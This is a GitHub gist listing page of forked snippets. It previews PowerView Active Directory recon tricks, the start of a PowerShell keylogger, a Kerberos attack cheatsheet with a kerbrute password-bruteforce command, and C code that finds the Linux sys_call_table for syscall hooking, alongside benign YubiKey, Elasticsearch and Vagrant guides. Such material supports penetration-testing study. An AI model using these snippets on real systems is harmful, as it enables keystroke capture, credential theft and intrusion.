Skip to content

Instantly share code, notes, and snippets.

View postfix's full-sized avatar
💭
I may be slow to respond.

JV postfix

💭
I may be slow to respond.
View GitHub Profile
@postfix
postfix / PowerView-3.0-tricks.ps1
Created April 2, 2020 21:50 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@postfix
postfix / PowerView-3.0-tricks.ps1
Created April 2, 2020 21:50 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@postfix
postfix / gist:388cd094394137c6c644f4d4ffe030c2
Created March 16, 2020 20:57 — forked from dasgoll/gist:7ca1c059dd3b3fbc7277
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
@postfix
postfix / kerberos_attacks_cheatsheet.md
Created February 12, 2020 11:27 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@postfix
postfix / PowerView-2.0-tricks.ps1
Created January 5, 2020 19:06 — forked from HarmJ0y/PowerView-2.0-tricks.ps1
PowerView-2.0 tips and tricks
# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
# has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
# get all the groups a user is effectively a member of, 'recursing up'
Get-NetGroup -UserName <USER>
# get all the effective members of a group, 'recursing down'
Get-NetGroupMember -GoupName <GROUP> -Recurse
# get the effective set of users who can administer a server
@postfix
postfix / YubiKey-GPG-SSH-guide.md
Last active August 3, 2019 18:53 — forked from ageis/YubiKey-GPG-SSH-guide.md
Technical guide for using YubiKey series 4 for GPG and SSH

YubiKey 4 series GPG and SSH setup guide

Written for fairly adept technical users, preferably of Debian GNU/Linux, not for absolute beginners.

You'll probably be working with a single smartcard, so you'll want only one primary key (1. Sign & Certify) and two associated subkeys (2. Encrypt, 3. Authenticate).

@postfix
postfix / elasticsearch.md
Created September 1, 2017 09:21 — forked from dominicsayers/elasticsearch.md
Configuring ElasticSearch to use less memory

What I actually did

/etc/security/limits.conf

elasticsearch hard memlock 100000

/etc/default/elasticsearch

@postfix
postfix / vagrant-kvm.md
Created August 4, 2017 15:29 — forked from yuanying/vagrant-kvm.md
How to use vagrant-kvm

Install Vagrant

sudo su
apt-get update && apt-get install -y libvirt-dev ruby-all-dev apparmor-utils
curl -O -L https://dl.bintray.com/mitchellh/vagrant/vagrant_1.6.5_x86_64.deb
dpkg -i vagrant_1.6.5_x86_64.deb 
aa-complain /usr/lib/libvirt/virt-aa-helper # workaround
exit

Install vagrant-kvm as user

@postfix
postfix / gist:e978da7cb906fbc61f68ab95c69666f5
Created December 10, 2016 14:34 — forked from Cr4sh/gist:fe910f0d1b0559efd43d
Dynamically finding sys_call_table on Linux x86_64 systems
void **find_sys_call_table(void *kernel_addr, int kernel_size)
{
/*
Check for the system_call_fastpath() signature, hand-written piece of
assembly code from arch/x86/kernel/entry_64.S:
ja badsys
mov rcx, r10
call sys_call_table[rax * 8]
mov [rsp + 20h], rax
using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;